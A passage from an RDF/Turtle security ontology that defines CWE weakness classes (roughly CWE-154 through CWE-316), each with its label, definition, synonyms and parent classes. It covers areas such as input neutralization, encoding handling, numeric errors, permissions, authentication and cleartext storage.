    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as substitution characters when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-154 a owl:Class ;
    rdfs:label "Improper Neutralization of Variable Name Delimiters" ;
    d3f:cwe-id "CWE-154" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as variable name delimiters when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-156 a owl:Class ;
    rdfs:label "Improper Neutralization of Whitespace" ;
    d3f:cwe-id "CWE-156" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as whitespace when they are sent to a downstream component." ;
    d3f:synonym "White space" ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-157 a owl:Class ;
    rdfs:label "Failure to Sanitize Paired Delimiters" ;
    d3f:cwe-id "CWE-157" ;
    d3f:definition "The product does not properly handle the characters that are used to mark the beginning and ending of a group of entities, such as parentheses, brackets, and braces." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-158 a owl:Class ;
    rdfs:label "Improper Neutralization of Null Byte or NUL Character" ;
    d3f:cwe-id "CWE-158" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes NUL characters or null bytes when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-166 a owl:Class ;
    rdfs:label "Improper Handling of Missing Special Element" ;
    d3f:cwe-id "CWE-166" ;
    d3f:definition "The product receives input from an upstream component, but it does not handle or incorrectly handles when an expected special element is missing." ;
    rdfs:subClassOf d3f:CWE-159,
        d3f:CWE-228,
        d3f:CWE-703 .

d3f:CWE-167 a owl:Class ;
    rdfs:label "Improper Handling of Additional Special Element" ;
    d3f:cwe-id "CWE-167" ;
    d3f:definition "The product receives input from an upstream component, but it does not handle or incorrectly handles when an additional unexpected special element is provided." ;
    rdfs:subClassOf d3f:CWE-159,
        d3f:CWE-228,
        d3f:CWE-703 .

d3f:CWE-168 a owl:Class ;
    rdfs:label "Improper Handling of Inconsistent Special Elements" ;
    d3f:cwe-id "CWE-168" ;
    d3f:definition "The product does not properly handle input in which an inconsistency exists between two or more special characters or reserved words." ;
    rdfs:subClassOf d3f:CWE-159,
        d3f:CWE-228,
        d3f:CWE-703 .

d3f:CWE-170 a owl:Class ;
    rdfs:label "Improper Null Termination" ;
    d3f:cwe-id "CWE-170" ;
    d3f:definition "The product does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator." ;
    rdfs:subClassOf d3f:CWE-707 .

d3f:CWE-173 a owl:Class ;
    rdfs:label "Improper Handling of Alternate Encoding" ;
    d3f:cwe-id "CWE-173" ;
    d3f:definition "The product does not properly handle when an input uses an alternate encoding that is valid for the control sphere to which the input is being sent." ;
    rdfs:subClassOf d3f:CWE-172 .

d3f:CWE-174 a owl:Class ;
    rdfs:label "Double Decoding of the Same Data" ;
    d3f:cwe-id "CWE-174" ;
    d3f:definition "The product decodes the same input twice, which can limit the effectiveness of any protection mechanism that occurs in between the decoding operations." ;
    rdfs:subClassOf d3f:CWE-172,
        d3f:CWE-675 .

d3f:CWE-175 a owl:Class ;
    rdfs:label "Improper Handling of Mixed Encoding" ;
    d3f:cwe-id "CWE-175" ;
    d3f:definition "The product does not properly handle when the same input uses several different (mixed) encodings." ;
    rdfs:subClassOf d3f:CWE-172 .

d3f:CWE-176 a owl:Class ;
    rdfs:label "Improper Handling of Unicode Encoding" ;
    d3f:cwe-id "CWE-176" ;
    d3f:definition "The product does not properly handle when an input contains Unicode encoding." ;
    rdfs:subClassOf d3f:CWE-172 .

d3f:CWE-177 a owl:Class ;
    rdfs:label "Improper Handling of URL Encoding (Hex Encoding)" ;
    d3f:cwe-id "CWE-177" ;
    d3f:definition "The product does not properly handle when all or part of an input has been URL encoded." ;
    rdfs:subClassOf d3f:CWE-172 .

d3f:CWE-178 a owl:Class ;
    rdfs:label "Improper Handling of Case Sensitivity" ;
    d3f:cwe-id "CWE-178" ;
    d3f:definition "The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results." ;
    rdfs:subClassOf d3f:CWE-706 .

d3f:CWE-180 a owl:Class ;
    rdfs:label "Incorrect Behavior Order: Validate Before Canonicalize" ;
    d3f:cwe-id "CWE-180" ;
    d3f:definition "The product validates input before it is canonicalized, which prevents the product from detecting data that becomes invalid after the canonicalization step." ;
    rdfs:subClassOf d3f:CWE-179 .

d3f:CWE-181 a owl:Class ;
    rdfs:label "Incorrect Behavior Order: Validate Before Filter" ;
    d3f:cwe-id "CWE-181" ;
    d3f:definition "The product validates data before it has been filtered, which prevents the product from detecting data that becomes invalid after the filtering step." ;
    d3f:synonym "Validate-before-cleanse" ;
    rdfs:subClassOf d3f:CWE-179 .

d3f:CWE-182 a owl:Class ;
    rdfs:label "Collapse of Data into Unsafe Value" ;
    d3f:cwe-id "CWE-182" ;
    d3f:definition "The product filters data in a way that causes it to be reduced or \"collapsed\" into an unsafe value that violates an expected security property." ;
    rdfs:subClassOf d3f:CWE-693,
        d3f:CWE-707 .

d3f:CWE-186 a owl:Class ;
    rdfs:label "Overly Restrictive Regular Expression" ;
    d3f:cwe-id "CWE-186" ;
    d3f:definition "A regular expression is overly restrictive, which prevents dangerous values from being detected." ;
    rdfs:subClassOf d3f:CWE-185 .

d3f:CWE-187 a owl:Class ;
    rdfs:label "Partial String Comparison" ;
    d3f:cwe-id "CWE-187" ;
    d3f:definition "The product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses." ;
    rdfs:subClassOf d3f:CWE-1023 .

d3f:CWE-191 a owl:Class ;
    rdfs:label "Integer Underflow (Wrap or Wraparound)" ;
    d3f:cwe-id "CWE-191" ;
    d3f:definition "The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result." ;
    d3f:synonym "Integer underflow" ;
    rdfs:subClassOf d3f:CWE-682 .

d3f:CWE-192 a owl:Class ;
    rdfs:label "Integer Coercion Error" ;
    d3f:cwe-id "CWE-192" ;
    d3f:definition "Integer coercion refers to a set of flaws pertaining to the type casting, extension, or truncation of primitive data types." ;
    rdfs:subClassOf d3f:CWE-681 .

d3f:CWE-193 a owl:Class ;
    rdfs:label "Off-by-one Error" ;
    d3f:cwe-id "CWE-193" ;
    d3f:definition "A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value." ;
    d3f:synonym "off-by-five" ;
    rdfs:subClassOf d3f:CWE-682 .

d3f:CWE-194 a owl:Class ;
    rdfs:label "Unexpected Sign Extension" ;
    d3f:cwe-id "CWE-194" ;
    d3f:definition "The product performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses." ;
    rdfs:subClassOf d3f:CWE-681 .

d3f:CWE-195 a owl:Class ;
    rdfs:label "Signed to Unsigned Conversion Error" ;
    d3f:cwe-id "CWE-195" ;
    d3f:definition "The product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive." ;
    rdfs:subClassOf d3f:CWE-681 .

d3f:CWE-196 a owl:Class ;
    rdfs:label "Unsigned to Signed Conversion Error" ;
    d3f:cwe-id "CWE-196" ;
    d3f:definition "The product uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive." ;
    rdfs:subClassOf d3f:CWE-681 .

d3f:CWE-197 a owl:Class ;
    rdfs:label "Numeric Truncation Error" ;
    d3f:cwe-id "CWE-197" ;
    d3f:definition "Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion." ;
    rdfs:subClassOf d3f:CWE-681 .

d3f:CWE-198 a owl:Class ;
    rdfs:label "Use of Incorrect Byte Ordering" ;
    d3f:cwe-id "CWE-198" ;
    d3f:definition "The product receives input from an upstream component, but it does not account for byte ordering (e.g. big-endian and little-endian) when processing the input, causing an incorrect number or value to be used." ;
    rdfs:subClassOf d3f:CWE-188 .

d3f:CWE-202 a owl:Class ;
    rdfs:label "Exposure of Sensitive Information Through Data Queries" ;
    d3f:cwe-id "CWE-202" ;
    d3f:definition "When trying to keep information confidential, an attacker can often infer some of the information by using statistics." ;
    rdfs:subClassOf d3f:CWE-1230 .

d3f:CWE-204 a owl:Class ;
    rdfs:label "Observable Response Discrepancy" ;
    d3f:cwe-id "CWE-204" ;
    d3f:definition "The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere." ;
    rdfs:subClassOf d3f:CWE-203 .

d3f:CWE-206 a owl:Class ;
    rdfs:label "Observable Internal Behavioral Discrepancy" ;
    d3f:cwe-id "CWE-206" ;
    d3f:definition "The product performs multiple behaviors that are combined to produce a single result, but the individual behaviors are observable separately in a way that allows attackers to reveal internal state or internal decision points." ;
    rdfs:subClassOf d3f:CWE-205 .

d3f:CWE-207 a owl:Class ;
    rdfs:label "Observable Behavioral Discrepancy With Equivalent Products" ;
    d3f:cwe-id "CWE-207" ;
    d3f:definition "The product operates in an environment in which its existence or specific identity should not be known, but it behaves differently than other products with equivalent functionality, in a way that is observable to an attacker." ;
    rdfs:subClassOf d3f:CWE-205 .

d3f:CWE-210 a owl:Class ;
    rdfs:label "Self-generated Error Message Containing Sensitive Information" ;
    d3f:cwe-id "CWE-210" ;
    d3f:definition "The product identifies an error condition and creates its own diagnostic or error messages that contain sensitive information." ;
    rdfs:subClassOf d3f:CWE-209 .

d3f:CWE-213 a owl:Class ;
    rdfs:label "Exposure of Sensitive Information Due to Incompatible Policies" ;
    d3f:cwe-id "CWE-213" ;
    d3f:definition "The product's intended functionality exposes information to certain actors in accordance with the developer's security policy, but this information is regarded as sensitive according to the intended security policies of other stakeholders such as the product's administrator, users, or others whose information is being processed." ;
    rdfs:subClassOf d3f:CWE-200 .

d3f:CWE-214 a owl:Class ;
    rdfs:label "Invocation of Process Using Visible Sensitive Information" ;
    d3f:cwe-id "CWE-214" ;
    d3f:definition "A process is invoked with sensitive command-line arguments, environment variables, or other elements that can be seen by other processes on the operating system." ;
    rdfs:subClassOf d3f:CWE-497 .

d3f:CWE-215 a owl:Class ;
    rdfs:label "Insertion of Sensitive Information Into Debugging Code" ;
    d3f:cwe-id "CWE-215" ;
    d3f:definition "The product inserts sensitive information into debugging code, which could expose this information if the debugging code is not disabled in production." ;
    rdfs:subClassOf d3f:CWE-200 .

d3f:CWE-220 a owl:Class ;
    rdfs:label "Storage of File With Sensitive Data Under FTP Root" ;
    d3f:cwe-id "CWE-220" ;
    d3f:definition "The product stores sensitive data under the FTP server root with insufficient access control, which might make it accessible to untrusted parties." ;
    rdfs:subClassOf d3f:CWE-552 .

d3f:CWE-222 a owl:Class ;
    rdfs:label "Truncation of Security-relevant Information" ;
    d3f:cwe-id "CWE-222" ;
    d3f:definition "The product truncates the display, recording, or processing of security-relevant information in a way that can obscure the source or nature of an attack." ;
    rdfs:subClassOf d3f:CWE-221 .

d3f:CWE-224 a owl:Class ;
    rdfs:label "Obscured Security-relevant Information by Alternate Name" ;
    d3f:cwe-id "CWE-224" ;
    d3f:definition "The product records security-relevant information according to an alternate name of the affected entity, instead of the canonical name." ;
    rdfs:subClassOf d3f:CWE-221 .

d3f:CWE-230 a owl:Class ;
    rdfs:label "Improper Handling of Missing Values" ;
    d3f:cwe-id "CWE-230" ;
    d3f:definition "The product does not handle or incorrectly handles when a parameter, field, or argument name is specified, but the associated value is missing, i.e. it is empty, blank, or null." ;
    rdfs:subClassOf d3f:CWE-229 .

d3f:CWE-231 a owl:Class ;
    rdfs:label "Improper Handling of Extra Values" ;
    d3f:cwe-id "CWE-231" ;
    d3f:definition "The product does not handle or incorrectly handles when more values are provided than expected." ;
    rdfs:subClassOf d3f:CWE-229 .

d3f:CWE-232 a owl:Class ;
    rdfs:label "Improper Handling of Undefined Values" ;
    d3f:cwe-id "CWE-232" ;
    d3f:definition "The product does not handle or incorrectly handles when a value is not defined or supported for the associated parameter, field, or argument name." ;
    rdfs:subClassOf d3f:CWE-229 .

d3f:CWE-234 a owl:Class ;
    rdfs:label "Failure to Handle Missing Parameter" ;
    d3f:cwe-id "CWE-234" ;
    d3f:definition "If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well." ;
    rdfs:subClassOf d3f:CWE-233 .

d3f:CWE-235 a owl:Class ;
    rdfs:label "Improper Handling of Extra Parameters" ;
    d3f:cwe-id "CWE-235" ;
    d3f:definition "The product does not handle or incorrectly handles when the number of parameters, fields, or arguments with the same name exceeds the expected amount." ;
    rdfs:subClassOf d3f:CWE-233 .

d3f:CWE-236 a owl:Class ;
    rdfs:label "Improper Handling of Undefined Parameters" ;
    d3f:cwe-id "CWE-236" ;
    d3f:definition "The product does not handle or incorrectly handles when a particular parameter, field, or argument name is not defined or supported by the product." ;
    rdfs:subClassOf d3f:CWE-233 .

d3f:CWE-238 a owl:Class ;
    rdfs:label "Improper Handling of Incomplete Structural Elements" ;
    d3f:cwe-id "CWE-238" ;
    d3f:definition "The product does not handle or incorrectly handles when a particular structural element is not completely specified." ;
    rdfs:subClassOf d3f:CWE-237 .

d3f:CWE-239 a owl:Class ;
    rdfs:label "Failure to Handle Incomplete Element" ;
    d3f:cwe-id "CWE-239" ;
    d3f:definition "The product does not properly handle when a particular element is not completely specified." ;
    rdfs:subClassOf d3f:CWE-237 .

d3f:CWE-24 a owl:Class ;
    rdfs:label "Path Traversal: '../filedir'" ;
    d3f:cwe-id "CWE-24" ;
    d3f:definition "The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize \"../\" sequences that can resolve to a location that is outside of that directory." ;
    rdfs:subClassOf d3f:CWE-23 .

d3f:CWE-241 a owl:Class ;
    rdfs:label "Improper Handling of Unexpected Data Type" ;
    d3f:cwe-id "CWE-241" ;
    d3f:definition "The product does not handle or incorrectly handles when a particular element is not the expected type, e.g. it expects a digit (0-9) but is provided with a letter (A-Z)." ;
    rdfs:subClassOf d3f:CWE-228 .

d3f:CWE-242 a owl:Class ;
    rdfs:label "Use of Inherently Dangerous Function" ;
    d3f:cwe-id "CWE-242" ;
    d3f:definition "The product calls a function that can never be guaranteed to work safely." ;
    rdfs:subClassOf d3f:CWE-1177 .

d3f:CWE-243 a owl:Class ;
    rdfs:label "Creation of chroot Jail Without Changing Working Directory" ;
    d3f:cwe-id "CWE-243" ;
    d3f:definition "The product uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail." ;
    rdfs:subClassOf d3f:CWE-573,
        d3f:CWE-669 .

d3f:CWE-244 a owl:Class ;
    rdfs:label "Improper Clearing of Heap Memory Before Release ('Heap Inspection')" ;
    d3f:cwe-id "CWE-244" ;
    d3f:definition "Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory." ;
    rdfs:subClassOf d3f:CWE-226 .

d3f:CWE-245 a owl:Class ;
    rdfs:label "J2EE Bad Practices: Direct Management of Connections" ;
    d3f:cwe-id "CWE-245" ;
    d3f:definition "The J2EE application directly manages connections, instead of using the container's connection management facilities." ;
    rdfs:subClassOf d3f:CWE-695 .

d3f:CWE-246 a owl:Class ;
    rdfs:label "J2EE Bad Practices: Direct Use of Sockets" ;
    d3f:cwe-id "CWE-246" ;
    d3f:definition "The J2EE application directly uses sockets instead of using framework method calls." ;
    rdfs:subClassOf d3f:CWE-695 .

d3f:CWE-25 a owl:Class ;
    rdfs:label "Path Traversal: '/../filedir'" ;
    d3f:cwe-id "CWE-25" ;
    d3f:definition "The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize \"/../\" sequences that can resolve to a location that is outside of that directory." ;
    rdfs:subClassOf d3f:CWE-23 .

d3f:CWE-250 a owl:Class ;
    rdfs:label "Execution with Unnecessary Privileges" ;
    d3f:cwe-id "CWE-250" ;
    d3f:definition "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses." ;
    rdfs:subClassOf d3f:CWE-269,
        d3f:CWE-657 .

d3f:CWE-253 a owl:Class ;
    rdfs:label "Incorrect Check of Function Return Value" ;
    d3f:cwe-id "CWE-253" ;
    d3f:definition "The product incorrectly checks a return value from a function, which prevents it from detecting errors or exceptional conditions." ;
    rdfs:subClassOf d3f:CWE-573,
        d3f:CWE-754 .

d3f:CWE-256 a owl:Class ;
    rdfs:label "Plaintext Storage of a Password" ;
    d3f:cwe-id "CWE-256" ;
    d3f:definition "Storing a password in plaintext may result in a system compromise." ;
    rdfs:subClassOf d3f:CWE-522 .

d3f:CWE-257 a owl:Class ;
    rdfs:label "Storing Passwords in a Recoverable Format" ;
    d3f:cwe-id "CWE-257" ;
    d3f:definition "The storage of passwords in a recoverable format makes them subject to password reuse attacks by malicious users. In fact, it should be noted that recoverable encrypted passwords provide no significant benefit over plaintext passwords since they are subject not only to reuse by malicious attackers but also by malicious insiders. If a system administrator can recover a password directly, or use a brute force search on the available information, the administrator can use the password on other accounts." ;
    rdfs:subClassOf d3f:CWE-522 .

d3f:CWE-258 a owl:Class ;
    rdfs:label "Empty Password in Configuration File" ;
    d3f:cwe-id "CWE-258" ;
    d3f:definition "Using an empty string as a password is insecure." ;
    rdfs:subClassOf d3f:CWE-260,
        d3f:CWE-521 .

d3f:CWE-259 a owl:Class ;
    rdfs:label "Use of Hard-coded Password" ;
    d3f:cwe-id "CWE-259" ;
    d3f:definition "The product contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components." ;
    rdfs:subClassOf d3f:CWE-798 .

d3f:CWE-26 a owl:Class ;
    rdfs:label "Path Traversal: '/dir/../filename'" ;
    d3f:cwe-id "CWE-26" ;
    d3f:definition "The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize \"/dir/../filename\" sequences that can resolve to a location that is outside of that directory." ;
    rdfs:subClassOf d3f:CWE-23 .

d3f:CWE-261 a owl:Class ;
    rdfs:label "Weak Encoding for Password" ;
    d3f:cwe-id "CWE-261" ;
    d3f:definition "Obscuring a password with a trivial encoding does not protect the password." ;
    rdfs:subClassOf d3f:CWE-522 .

d3f:CWE-262 a owl:Class ;
    rdfs:label "Not Using Password Aging" ;
    d3f:cwe-id "CWE-262" ;
    d3f:definition "The product does not have a mechanism in place for managing password aging." ;
    rdfs:subClassOf d3f:CWE-1390 .

d3f:CWE-263 a owl:Class ;
    rdfs:label "Password Aging with Long Expiration" ;
    d3f:cwe-id "CWE-263" ;
    d3f:definition "The product supports password aging, but the expiration period is too long." ;
    rdfs:subClassOf d3f:CWE-1390 .

d3f:CWE-268 a owl:Class ;
    rdfs:label "Privilege Chaining" ;
    d3f:cwe-id "CWE-268" ;
    d3f:definition "Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination." ;
    rdfs:subClassOf d3f:CWE-269 .

d3f:CWE-27 a owl:Class ;
    rdfs:label "Path Traversal: 'dir/../../filename'" ;
    d3f:cwe-id "CWE-27" ;
    d3f:definition "The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize multiple internal \"../\" sequences that can resolve to a location that is outside of that directory." ;
    rdfs:subClassOf d3f:CWE-23 .

d3f:CWE-270 a owl:Class ;
    rdfs:label "Privilege Context Switching Error" ;
    d3f:cwe-id "CWE-270" ;
    d3f:definition "The product does not properly manage privileges while it is switching between different contexts that have different privileges or spheres of control." ;
    rdfs:subClassOf d3f:CWE-269 .

d3f:CWE-272 a owl:Class ;
    rdfs:label "Least Privilege Violation" ;
    d3f:cwe-id "CWE-272" ;
    d3f:definition "The elevated privilege level required to perform operations such as chroot() should be dropped immediately after the operation is performed." ;
    rdfs:subClassOf d3f:CWE-271 .

d3f:CWE-273 a owl:Class ;
    rdfs:label "Improper Check for Dropped Privileges" ;
    d3f:cwe-id "CWE-273" ;
    d3f:definition "The product attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded." ;
    rdfs:subClassOf d3f:CWE-271,
        d3f:CWE-754 .

d3f:CWE-274 a owl:Class ;
    rdfs:label "Improper Handling of Insufficient Privileges" ;
    d3f:cwe-id "CWE-274" ;
    d3f:definition "The product does not handle or incorrectly handles when it has insufficient privileges to perform an operation, leading to resultant weaknesses." ;
    rdfs:subClassOf d3f:CWE-269,
        d3f:CWE-755 .

d3f:CWE-276 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Incorrect Default Permissions" ;
    d3f:cwe-id "CWE-276" ;
    d3f:definition "During installation, installed file permissions are set to allow anyone to modify those files." ;
    d3f:weakness-of d3f:ApplicationInstaller ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:ApplicationInstaller ],
        d3f:CWE-732 .

d3f:CWE-277 a owl:Class ;
    rdfs:label "Insecure Inherited Permissions" ;
    d3f:cwe-id "CWE-277" ;
    d3f:definition "A product defines a set of insecure permissions that are inherited by objects that are created by the program." ;
    rdfs:subClassOf d3f:CWE-732 .

d3f:CWE-278 a owl:Class ;
    rdfs:label "Insecure Preserved Inherited Permissions" ;
    d3f:cwe-id "CWE-278" ;
    d3f:definition "A product inherits a set of insecure permissions for an object, e.g. when copying from an archive file, without user awareness or involvement." ;
    rdfs:subClassOf d3f:CWE-732 .

d3f:CWE-279 a owl:Class ;
    rdfs:label "Incorrect Execution-Assigned Permissions" ;
    d3f:cwe-id "CWE-279" ;
    d3f:definition "While it is executing, the product sets the permissions of an object in a way that violates the intended permissions that have been specified by the user." ;
    rdfs:subClassOf d3f:CWE-732 .

d3f:CWE-28 a owl:Class ;
    rdfs:label "Path Traversal: '..\\filedir'" ;
    d3f:cwe-id "CWE-28" ;
    d3f:definition "The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize \"..\\\" sequences that can resolve to a location that is outside of that directory." ;
    rdfs:subClassOf d3f:CWE-23 .

d3f:CWE-280 a owl:Class ;
    rdfs:label "Improper Handling of Insufficient Permissions or Privileges" ;
    d3f:cwe-id "CWE-280" ;
    d3f:definition "The product does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the product in an invalid state." ;
    rdfs:subClassOf d3f:CWE-755 .

d3f:CWE-281 a owl:Class ;
    rdfs:label "Improper Preservation of Permissions" ;
    d3f:cwe-id "CWE-281" ;
    d3f:definition "The product does not preserve permissions or incorrectly preserves permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended." ;
    rdfs:subClassOf d3f:CWE-732 .

d3f:CWE-283 a owl:Class ;
    rdfs:label "Unverified Ownership" ;
    d3f:cwe-id "CWE-283" ;
    d3f:definition "The product does not properly verify that a critical resource is owned by the proper entity." ;
    rdfs:subClassOf d3f:CWE-282 .

d3f:CWE-289 a owl:Class ;
    rdfs:label "Authentication Bypass by Alternate Name" ;
    d3f:cwe-id "CWE-289" ;
    d3f:definition "The product performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor." ;
    rdfs:subClassOf d3f:CWE-1390 .

d3f:CWE-29 a owl:Class ;
    rdfs:label "Path Traversal: '\\..\\filename'" ;
    d3f:cwe-id "CWE-29" ;
    d3f:definition "The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\\..\\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory." ;
    rdfs:subClassOf d3f:CWE-23 .

d3f:CWE-291 a owl:Class ;
    rdfs:label "Reliance on IP Address for Authentication" ;
    d3f:cwe-id "CWE-291" ;
    d3f:definition "The product uses an IP address for authentication." ;
    rdfs:subClassOf d3f:CWE-290,
        d3f:CWE-471,
        d3f:CWE-923 .

d3f:CWE-293 a owl:Class ;
    rdfs:label "Using Referer Field for Authentication" ;
    d3f:cwe-id "CWE-293" ;
    d3f:definition "The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking." ;
    d3f:synonym "referrer" ;
    rdfs:subClassOf d3f:CWE-290 .

d3f:CWE-294 a owl:Class ;
    rdfs:label "Authentication Bypass by Capture-replay" ;
    d3f:cwe-id "CWE-294" ;
    d3f:definition "A capture-replay flaw exists when the design of the product makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes)." ;
    rdfs:subClassOf d3f:CWE-1390 .

d3f:CWE-296 a owl:Class ;
    rdfs:label "Improper Following of a Certificate's Chain of Trust" ;
    d3f:cwe-id "CWE-296" ;
    d3f:definition "The product does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate." ;
    rdfs:subClassOf d3f:CWE-295,
        d3f:CWE-573 .

d3f:CWE-297 a owl:Class ;
    rdfs:label "Improper Validation of Certificate with Host Mismatch" ;
    d3f:cwe-id "CWE-297" ;
    d3f:definition "The product communicates with a host that provides a certificate, but the product does not properly ensure that the certificate is actually associated with that host." ;
    rdfs:subClassOf d3f:CWE-295,
        d3f:CWE-923 .

d3f:CWE-298 a owl:Class ;
    rdfs:label "Improper Validation of Certificate Expiration" ;
    d3f:cwe-id "CWE-298" ;
    d3f:definition "A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age." ;
    rdfs:subClassOf d3f:CWE-295,
        d3f:CWE-672 .

d3f:CWE-30 a owl:Class ;
    rdfs:label "Path Traversal: '\\dir\\..\\filename'" ;
    d3f:cwe-id "CWE-30" ;
    d3f:definition "The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\\dir\\..\\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory." ;
    rdfs:subClassOf d3f:CWE-23 .

d3f:CWE-300 a owl:Class ;
    rdfs:label "Channel Accessible by Non-Endpoint" ;
    d3f:cwe-id "CWE-300" ;
    d3f:definition "The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint." ;
    d3f:synonym "Adversary-in-the-Middle / AITM",
        "Interception attack",
        "Man-in-the-Middle / MITM",
        "Manipulator-in-the-Middle",
        "Monkey-in-the-Middle",
        "Monster-in-the-Middle",
        "On-path attack",
        "Person-in-the-Middle / PITM" ;
    rdfs:subClassOf d3f:CWE-923 .

d3f:CWE-301 a owl:Class ;
    rdfs:label "Reflection Attack in an Authentication Protocol" ;
    d3f:cwe-id "CWE-301" ;
    d3f:definition "Simple authentication protocols are subject to reflection attacks if a malicious user can use the target machine to impersonate a trusted user." ;
    rdfs:subClassOf d3f:CWE-1390 .

d3f:CWE-302 a owl:Class ;
    rdfs:label "Authentication Bypass by Assumed-Immutable Data" ;
    d3f:cwe-id "CWE-302" ;
    d3f:definition "The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker." ;
    rdfs:subClassOf d3f:CWE-1390,
        d3f:CWE-807 .

d3f:CWE-304 a owl:Class ;
    rdfs:label "Missing Critical Step in Authentication" ;
    d3f:cwe-id "CWE-304" ;
    d3f:definition "The product implements an authentication technique, but it skips a step that weakens the technique." ;
    rdfs:subClassOf d3f:CWE-303,
        d3f:CWE-573 .

d3f:CWE-305 a owl:Class ;
    rdfs:label "Authentication Bypass by Primary Weakness" ;
    d3f:cwe-id "CWE-305" ;
    d3f:definition "The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error." ;
    rdfs:subClassOf d3f:CWE-1390 .

d3f:CWE-307 a owl:Class ;
    rdfs:label "Improper Restriction of Excessive Authentication Attempts" ;
    d3f:cwe-id "CWE-307" ;
    d3f:definition "The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame." ;
    rdfs:subClassOf d3f:CWE-1390,
        d3f:CWE-799 .

d3f:CWE-308 a owl:Class ;
    rdfs:label "Use of Single-factor Authentication" ;
    d3f:cwe-id "CWE-308" ;
    d3f:definition "The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme." ;
    rdfs:subClassOf d3f:CWE-1390,
        d3f:CWE-654 .

d3f:CWE-309 a owl:Class ;
    rdfs:label "Use of Password System for Primary Authentication" ;
    d3f:cwe-id "CWE-309" ;
    d3f:definition "The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism." ;
    rdfs:subClassOf d3f:CWE-1390,
        d3f:CWE-654 .

d3f:CWE-31 a owl:Class ;
    rdfs:label "Path Traversal: 'dir\\..\\..\\filename'" ;
    d3f:cwe-id "CWE-31" ;
    d3f:definition "The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize 'dir\\..\\..\\filename' (multiple internal backslash dot dot) sequences that can resolve to a location that is outside of that directory." ;
    rdfs:subClassOf d3f:CWE-23 .

d3f:CWE-313 a owl:Class ;
    rdfs:label "Cleartext Storage in a File or on Disk" ;
    d3f:cwe-id "CWE-313" ;
    d3f:definition "The product stores sensitive information in cleartext in a file, or on disk." ;
    rdfs:subClassOf d3f:CWE-312 .

d3f:CWE-314 a owl:Class ;
    rdfs:label "Cleartext Storage in the Registry" ;
    d3f:cwe-id "CWE-314" ;
    d3f:definition "The product stores sensitive information in cleartext in the registry." ;
    rdfs:subClassOf d3f:CWE-312 .

d3f:CWE-315 a owl:Class ;
    rdfs:label "Cleartext Storage of Sensitive Information in a Cookie" ;
    d3f:cwe-id "CWE-315" ;
    d3f:definition "The product stores sensitive information in cleartext in a cookie." ;
    rdfs:subClassOf d3f:CWE-312 .

d3f:CWE-316 a owl:Class ;
    rdfs:label "Cleartext Storage of Sensitive Information in Memory" ;
    d3f:cwe-id "CWE-316" ;
